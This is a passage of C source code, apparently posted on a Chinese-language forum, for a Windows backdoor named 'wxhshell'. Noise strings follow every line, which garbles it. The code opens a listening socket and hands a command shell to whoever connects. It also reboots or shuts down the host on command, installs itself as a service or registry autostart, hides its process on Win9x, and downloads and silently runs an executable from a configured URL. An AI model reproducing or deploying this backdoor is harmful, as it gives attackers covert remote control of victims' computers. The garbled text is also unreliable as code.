  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @y31NH(  
  } !45.puL0  
  else { G<M:Ak+~  
nk3y"ne7  
    switch(cmd[0]) { C{2xHd/*  
  m!U9m  
  // 帮助 oA1a/[#  
  case '?': { w1;hy"zPsj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )G7=G+e;  
    break; :W@#) 1=  
  } Kt0(gQOr0  
  // 安装 ?'"X"@r5  
  case 'i': { 9;xM%  
    if(Install()) TNJG#8n%Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MQKfJru7  
    else x1 1U@jd+1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )*c> |7G  
    break; :a:l j  
    } #Wu*3&a]yU  
  // 卸载 Mkq( T[)  
  case 'r': { ~n}k\s~|4  
    if(Uninstall()) +{]xtQB=,{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H~ u[3LQz  
    else 6=N`wi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :rP#I#,7w  
    break; .CSS}4  
    } Ngg?@pG0y  
  // 显示 wxhshell 所在路径 hVUP4 A  
  case 'p': { `-3o+ID\  
    char svExeFile[MAX_PATH]; -X+H2G  
    strcpy(svExeFile,"\n\r"); wb Iq&>p  
      strcat(svExeFile,ExeFile); kF>o.uSV  
        send(wsh,svExeFile,strlen(svExeFile),0); {)AMwq  
    break; 4~U'TE @  
    } jmg!Ml  
  // 重启 pKS {6P  
  case 'b': { {-BRt)L[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f3|@|' ;  
    if(Boot(REBOOT)) fqu}Le  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /k"`7`!  
    else {  &QNWL]  
    closesocket(wsh); l1]p'Liuu  
    ExitThread(0);  s}onsC  
    } `<[6YH_  
    break; z6py"J@  
    } /.M+fr S  
  // 关机 <W]g2>9o9  
  case 'd': { yPw'] "  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tlj:%yK2  
    if(Boot(SHUTDOWN)) fm~kM J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7RDDdF E!  
    else { eiJ2NwR\w  
    closesocket(wsh); wM_c48|d  
    ExitThread(0); hXGwP4  
    } /*Qq[C  
    break; XlI!{qj|  
    } R}mn*h6  
  // 获取shell ^s.V;R  
  case 's': { mZIoaF>t  
    CmdShell(wsh); n&MG7`]N  
    closesocket(wsh); e?bYjJ q  
    ExitThread(0); 76.{0 c  
    break; +h_ !0dG  
  } U:F/ iXz  
  // 退出 4.RG4Jq  
  case 'x': { ~XeFOM q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *Ei|fe$sa  
    CloseIt(wsh); 0q\7C[R_  
    break; `"@X.}\  
    } m`6Yc:@E  
  // 离开 W(RF n`g\  
  case 'q': {  Xtq{%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?X?&~3iD%  
    closesocket(wsh); i ZL2p>  
    WSACleanup(); c"!lwm3b  
    exit(1); 09o~9z0  
    break; }IEb yb  
        } aCV4AyG  
  } {A|TowBN  
  } K\XyZ  
;@h0qRXW:h  
  // 提示信息 y$81Z q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pdd/D  
} #E0t?:t5bk  
  } b%f[p/no  
kX:tc   
  return; n]+W 3[i  
} 0N=X74  
vILy>QS)  
// shell模块句柄 x_|F|9  
int CmdShell(SOCKET sock) ":3 VJ(eY  
{ N)% ;jh:T  
STARTUPINFO si; NrDi   
ZeroMemory(&si,sizeof(si)); @5) 8L/[l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p (FlR?= S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k#bu#YZk  
PROCESS_INFORMATION ProcessInfo; JN6-Z2  
char cmdline[]="cmd"; bN^O }[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ENh!N4vbO  
  return 0; @xsCXCRWVV  
} Z['\61  
M\b")Tu{0  
// 自身启动模式 PN+G:Qv  
int StartFromService(void) hl&-\dc+  
{ g/=K.  
typedef struct t0:AScZY   
{ 7 1W5.!  
  DWORD ExitStatus; Fyyg`J  
  DWORD PebBaseAddress; %=j3jj[  
  DWORD AffinityMask; !2:3MbtR  
  DWORD BasePriority; vFrt|JC_{  
  ULONG UniqueProcessId; 5W =(+Q>C  
  ULONG InheritedFromUniqueProcessId; mmw^{MK!  
}   PROCESS_BASIC_INFORMATION; N^VD=<#T  
b=a!j=-D  
PROCNTQSIP NtQueryInformationProcess; g=}v>[k E  
b4Y8N"hL%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {+zJI-XN/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x}$e}8|8YL  
1gO2C $  
  HANDLE             hProcess; a=GM[{og  
  PROCESS_BASIC_INFORMATION pbi; f]~c)P Cs  
)_zlrX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V's:>;  
  if(NULL == hInst ) return 0;  0JRD  
q&'Lbxc>c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lhC6S'vq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]Pn !nSg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [AEBF2OIv  
DJh&#b  
  if (!NtQueryInformationProcess) return 0; !a1i Un9  
N$?cX(|7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \o3"~\|6C  
  if(!hProcess) return 0; ZeasYSo4P  
Y ?]G}5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bm&87  
e{G_GycH  
  CloseHandle(hProcess); #:3r4J%+~  
`NwdbKX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?SY<~i<K-  
if(hProcess==NULL) return 0; #`GbHxd  
{g/wY%u=  
HMODULE hMod; dhRJg"vrQ  
char procName[255]; 0rMqWP  
unsigned long cbNeeded; %|3e.1oX  
TW`mxj_J2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5{ >0eFzG  
zCXqBuvu1  
  CloseHandle(hProcess); ].DY"  
6i@ub%qq  
if(strstr(procName,"services")) return 1; // 以服务启动 .PVLWW  
.+#Lx;})  
  return 0; // 注册表启动 eFQQW`J  
} <4F7@q, V  
Mps *}9  
// 主模块 R$b,h  
int StartWxhshell(LPSTR lpCmdLine) MUof=EJg>u  
{ V> a*3D  
  SOCKET wsl; *M!kA65'  
BOOL val=TRUE; 9\51Z:>  
  int port=0; ,zgNE*{Y"4  
  struct sockaddr_in door; :k!j"@r  
D?u`  
  if(wscfg.ws_autoins) Install(); *8!w&ME+.  
IlHY%8F{  
port=atoi(lpCmdLine); Fn,k!q  
}z'DWp=uN  
if(port<=0) port=wscfg.ws_port; RebTg1vGu  
7~.ZE   
  WSADATA data; i>Iee^_(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qyj(L[KJ  
qc0 B<,x7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A^pW]r=Xtk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VN|G5*  
  door.sin_family = AF_INET; k}B DA|\s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B T7Id  
  door.sin_port = htons(port); nYov>x]  
P3$,ca'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =x4a~=HX  
closesocket(wsl); =h\E<dw  
return 1; ~PYFYjHC  
} + zDc  
.YiaXP  
  if(listen(wsl,2) == INVALID_SOCKET) { u{+!& 2}k  
closesocket(wsl); !Zj#.6c9  
return 1; @ KJV1t`  
} R9=K(pOT  
  Wxhshell(wsl); Doj(.wm~  
  WSACleanup(); ,eK2I Ao  
[0op)Kn  
return 0; 7sguGwg)_  
JX&~y.F  
} ^N{X "  
O9;dd yx  
// 以NT服务方式启动 j]4,6` b\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !OQuEJR  
{ 0x4l5x$8  
DWORD   status = 0; bZXlJa`'S  
  DWORD   specificError = 0xfffffff; Fva]*5  
<)J55++  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]0YDb~UB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +Z$a1 Y@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VwC4QK,d;  
  serviceStatus.dwWin32ExitCode     = 0; D9G0k[D,  
  serviceStatus.dwServiceSpecificExitCode = 0; 4%>+Wh[  
  serviceStatus.dwCheckPoint       = 0; 8'% +G  
  serviceStatus.dwWaitHint       = 0; ;3 dM@>5[  
_;V YFs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oo'iwq-\  
  if (hServiceStatusHandle==0) return; `{WCrw6)  
5 Af?Yxv  
status = GetLastError(); v<`$bvv?  
  if (status!=NO_ERROR) 0O^U{#*$I  
{ ) _ #T c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ul9b.`6  
    serviceStatus.dwCheckPoint       = 0; eoJFh  
    serviceStatus.dwWaitHint       = 0; H'']J9O  
    serviceStatus.dwWin32ExitCode     = status; [@zkv)D6  
    serviceStatus.dwServiceSpecificExitCode = specificError; h4hd<,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s7AI:Zv  
    return; + p'\(Z(  
  } *eMLbU7  
NrW[Q 3E$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sgR 9d  
  serviceStatus.dwCheckPoint       = 0; mxZ4 HD{  
  serviceStatus.dwWaitHint       = 0; sAf9rZt*'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l; */M.B  
} td%Y4-+-  
sM<:C  
// 处理NT服务事件,比如:启动、停止 YqkA&qL]#;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9B& }7kk  
{ P%ye$SASd  
switch(fdwControl) v)TUg0U=,  
{ z)r8?9u  
case SERVICE_CONTROL_STOP: tYF$#Nor#k  
  serviceStatus.dwWin32ExitCode = 0; I<IC-k"Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &qG? [R{  
  serviceStatus.dwCheckPoint   = 0; 3@%BA(M  
  serviceStatus.dwWaitHint     = 0; .`b4h"g:  
  { p^}L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oM-b96  
  } 9$n+-GSK  
  return; 4,o %e,z  
case SERVICE_CONTROL_PAUSE: ?]759,Q3L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %-T}s`Z  
  break;  ?L`MFR  
case SERVICE_CONTROL_CONTINUE: xq8}6Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z&\Il#'\m+  
  break; tvG g@Xs\  
case SERVICE_CONTROL_INTERROGATE: tj`tLYOZ@-  
  break; v/QEu^C  
}; "v*oga%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vf@S8H  
} 5)h+(u C3  
`M towXj  
// 标准应用程序主函数 {Q}!NkF 1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m T>b ;  
{ ubiQ8Bx  
DKe6?PG  
// 获取操作系统版本 ay!6 T`U`  
OsIsNt=GetOsVer(); ;P 0,60  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z36brv<_'p  
0(Yh~{   
  // 从命令行安装 3t J=d'U  
  if(strpbrk(lpCmdLine,"iI")) Install(); u&hDjE  
B<vvsp\X  
  // 下载执行文件 [flu |v  
if(wscfg.ws_downexe) { n23%[#,r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :mCw.Jz<h  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?uNTUU,  
} #`fi2K&]j  
ze#rYNvo/  
if(!OsIsNt) { A52LH,  
// 如果时win9x,隐藏进程并且设置为注册表启动  60Xl.  
HideProc(); :pL1F)-*  
StartWxhshell(lpCmdLine); M6o xtt4  
} f }evw K[S  
else (1saof *p%  
  if(StartFromService()) llTQ\7zP  
  // 以服务方式启动 i} NkHEK  
  StartServiceCtrlDispatcher(DispatchTable); E-5ij,bHv3  
else @'k,\$/  
  // 普通方式启动 \UkNE5  
  StartWxhshell(lpCmdLine); PU]7c2.y  
T_5*iwI  
return 0; 42b=z//;  
}
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只看该作者 1 发表于: 2006-10-10
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